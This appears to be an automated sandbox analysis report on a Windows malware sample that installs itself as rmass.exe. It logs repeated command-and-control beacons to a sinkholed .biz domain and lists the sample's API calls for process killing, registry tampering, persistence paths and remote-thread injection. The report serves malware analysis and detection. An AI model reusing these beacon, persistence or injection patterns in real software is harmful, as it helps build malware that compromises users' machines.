Dec 4, 2023 12:33:55.355916977 CET	223	OUT	GET /d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB483C0 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:55.539643049 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:55 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49794	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:55.735197067 CET	255	OUT	GET /d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB483C0 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:55.916759014 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:55 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49796	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:57.817583084 CET	223	OUT	GET /d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129926 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:57.995878935 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:57 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49797	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:58.188922882 CET	255	OUT	GET /d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129926 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:58.366789103 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:58 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49799	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:04.335302114 CET	223	OUT	GET /d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9963 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:04.513014078 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:04 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49800	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:04.705941916 CET	255	OUT	GET /d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9963 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:04.888228893 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:04 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49802	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:09.718194008 CET	223	OUT	GET /d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445D44 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:09.900779009 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:09 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49803	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:10.087534904 CET	255	OUT	GET /d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445D44 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:10.265286922 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:10 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49805	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:11.153249025 CET	223	OUT	GET /d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28038 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:11.337093115 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:11 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49806	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:11.516275883 CET	255	OUT	GET /d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28038 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:11.693203926 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:11 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49809	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:20.931032896 CET	223	OUT	GET /d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CED2E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:21.113624096 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:21 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49810	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:21.775373936 CET	255	OUT	GET /d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CED2E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:21.957639933 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:21 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49812	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:24.877573967 CET	223	OUT	GET /d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B80F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:25.061269999 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:24 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49813	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:25.246606112 CET	255	OUT	GET /d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B80F HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:25.427454948 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:25 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49815	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:26.693770885 CET	223	OUT	GET /d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:26.874578953 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:26 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49816	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:27.083889008 CET	255	OUT	GET /d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:27.267950058 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:27 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49818	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:29.754852057 CET	223	OUT	GET /d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED992 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:29.938401937 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:29 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49819	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:30.148364067 CET	255	OUT	GET /d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED992 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:30.329041958 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:30 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49821	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:35.659403086 CET	223	OUT	GET /d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4319 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:35.841798067 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:35 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49822	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:36.039907932 CET	255	OUT	GET /d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4319 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:36.222054005 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:36 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49824	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:39.698506117 CET	223	OUT	GET /d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE3BE HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:39.880474091 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:39 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49825	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:40.066282034 CET	255	OUT	GET /d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE3BE HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:40.248980999 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:40 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49827	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:41.816617966 CET	223	OUT	GET /d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857989 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:41.999413967 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:41 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49828	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:42.197812080 CET	255	OUT	GET /d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857989 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:42.381761074 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:42 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49830	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:45.867286921 CET	223	OUT	GET /d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C75B5 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:34:46.050882101 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:45 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49832	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:34:46.234392881 CET	255	OUT	GET /d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C75B5 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:34:46.413594961 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:34:46 GMT Connection: keep-alive X-Sinkhole: Malware

Target ID:	0
Start time:	12:32:23
Start date:	04/12/2023
Path:	C:\Users\user\Desktop\p4C7Gm10K3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\p4C7Gm10K3.exe
Imagebase:	0x400000
File size:	19'973 bytes
MD5 hash:	A2B56A267F83BE08FBF30CB772733384
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:32:24
Start date:	04/12/2023
Path:	C:\Windows\SysWOW64\rmass.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rmass.exe
Imagebase:	0x400000
File size:	19'973 bytes
MD5 hash:	A2B56A267F83BE08FBF30CB772733384
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 95%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:32:24
Start date:	04/12/2023
Path:	C:\Windows\SysWOW64\rmass.exe
Wow64 process (32bit):	true
Commandline:	--k33p
Imagebase:	0x400000
File size:	19'973 bytes
MD5 hash:	A2B56A267F83BE08FBF30CB772733384
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	12:32:24
Start date:	04/12/2023
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff70f350000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:32:24
Start date:	04/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.7%
Total number of Nodes:	482
Total number of Limit Nodes:	4

Executed Functions

Function 00404116 Relevance: 61.4, APIs: 28, Strings: 7, Instructions: 191
registrystringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 004040E1
CreateMutexA.KERNEL32(004087B8,00000001,qnd_b__-0F,00408856,%02X,00000001,00000000,rmass.exe,?,80000000,00000001,00000000,00000003,00000000,00000000,?), ref: 004040F2
GetLastError.KERNEL32 ref: 00404106
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404125
RegDeleteValueA.ADVAPI32(00000000,SubshellState,00000002,00000000), ref: 0040414E
RegCloseKey.ADVAPI32(?,00000000,SubshellState,00000002,00000000), ref: 00404157
GetCurrentProcessId.KERNEL32(00000002,00000000), ref: 0040417B
Process32First.KERNEL32(00000000,00000128), ref: 00404198
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 004041BE
lstrcmpiA.KERNEL32(00000000,winrnt.exe), ref: 004041CD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,rmass.exe,00000000,00000128,00000000,00000128), ref: 004041E4
Process32Next.KERNEL32(00000000,00000128), ref: 00404203
CloseHandle.KERNEL32(00000000,00000000,00000128), ref: 0040420D
SetPriorityClass.KERNEL32(?,00000040,00000000,00000000,00000128), ref: 00404220
TerminateProcess.KERNEL32(?,00000000,00000000,00000000,00000128), ref: 0040423C
WaitForSingleObject.KERNEL32(?,00001388,00000000,00000000,00000128), ref: 00404258
CloseHandle.KERNEL32(?,?,00001388,00000000,00000000,00000128), ref: 00404265
SetFileAttributesA.KERNEL32(?,00000080,00000000,00000000,00000128), ref: 00404280
DeleteFileA.KERNEL32(?,?,00000080,00000000,00000000,00000128), ref: 00404286
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002,00000000), ref: 004042AF
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002,00000000), ref: 004042E8
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,0040C160,00000012), ref: 00404319
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000000,0040C160,00000012), ref: 00404339
RegCloseKey.ADVAPI32(?,?,Default Flags,00000000,00000000,0040C160,00000012), ref: 00404351
RegDeleteKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy), ref: 00404367
RegCloseKey.ADVAPI32(?,80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002), ref: 00404373
CloseHandle.KERNEL32(?,00000000), ref: 004043A5

Strings

rmass.exe, xrefs: 004041AA
qnd_b__-0F, xrefs: 004040E6
winrnt.exe, xrefs: 004041C7
SubshellState, xrefs: 00404148
Default Flags, xrefs: 0040430D, 0040432D
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004042A5, 004042DE, 0040435D
%02X, xrefs: 004040D7

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Close$CreateDeleteHandleProcessValue$FileOpenProcess32lstrcmpi$AttributesClassCurrentErrorFirstLastMutexNextObjectPriorityQuerySingleSnapshotTerminateToolhelp32Waitwsprintf
String ID: %02X$Default Flags$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$SubshellState$qnd_b__-0F$rmass.exe$winrnt.exe
API String ID: 3062393105-2383827872
Opcode ID: 354c1f72740a0f29821d5ca4dad9795bcd692947853db2c73fa71d98e2dbea42
Instruction ID: 56587cfe5872e693de66383a40ef245580b9bb707b2824c8041c2c88fdb74b7d
Opcode Fuzzy Hash: 354c1f72740a0f29821d5ca4dad9795bcd692947853db2c73fa71d98e2dbea42
Instruction Fuzzy Hash: 0661C1B0388741A9E630AB728D46F6F71D8AFD0749F60483FBB85750C2DABC94159A1F

Uniqueness

Uniqueness Score: -1.00%

Function 0040370C Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 175
libraryloadernativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,CreateRemoteThread), ref: 00403724
LoadLibraryA.KERNEL32(ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 00403792
GetProcAddress.KERNEL32(00000000,ntdll.dll), ref: 0040379A
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 004037AA
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 004037BA
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 004037CA
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,00000000,RtlAdjustPrivilege,00000000,NtShutdownSystem,00000000,NtWriteVirtualMemory,00000000,ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 004037E8
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403814
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403829
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?,?,CreateRemoteThread), ref: 00403871
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 004038DA
CloseHandle.KERNEL32(?,?,CreateRemoteThread), ref: 00403917
WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981

Strings

rasapi32.dll, xrefs: 0040398B
NtOpenProcessToken, xrefs: 004037EA, 0040380E
RtlAdjustPrivilege, xrefs: 00403776, 004037BF
NtWriteVirtualMemory, xrefs: 00403752, 0040379F
NtQueryInformationToken, xrefs: 004037FC, 00403823
ntdll.dll, xrefs: 0040372E, 0040378D
CreateRemoteThread, xrefs: 0040370C, 0040371E
NtShutdownSystem, xrefs: 00403764, 004037AF
NtAllocateVirtualMemory, xrefs: 00403740, 00403788

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: AddressProc$CurrentInformationQueryToken$AdjustCloseCountHandleLibraryLoadPrivilegeProcessStartupThreadTick
String ID: CreateRemoteThread$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$RtlAdjustPrivilege$ntdll.dll$rasapi32.dll
API String ID: 111222507-3799945703
Opcode ID: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction ID: da765254775b880a394b369aa104dbc8fe345ffdd81bae99228adbb332d89bff
Opcode Fuzzy Hash: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction Fuzzy Hash: 4B51D5A0708342AED7105B7949C5B1B2E8CAB16355F208A77F492F71D3D7BC9901C66F

Uniqueness

Uniqueness Score: -1.00%

Function 004043CE Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 124
stringfiletimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004043DE
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040440A
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404416
GetSystemDirectoryA.KERNEL32(?,000000FA), ref: 0040443B
lstrcat.KERNEL32(?,0040B041), ref: 0040444B
lstrcat.KERNEL32(00000000,?), ref: 00404451
lstrcpy.KERNEL32(?,%CommonProgramFiles%\System\), ref: 00404482
lstrcat.KERNEL32(00000000,?), ref: 00404488
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 0040448E
lstrcpy.KERNEL32(?,%AppData%\), ref: 004044B5
lstrcat.KERNEL32(00000000,?), ref: 004044BB
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%AppData%\,rmass.exe,?,00000104,00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?), ref: 004044C1
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 004044FD
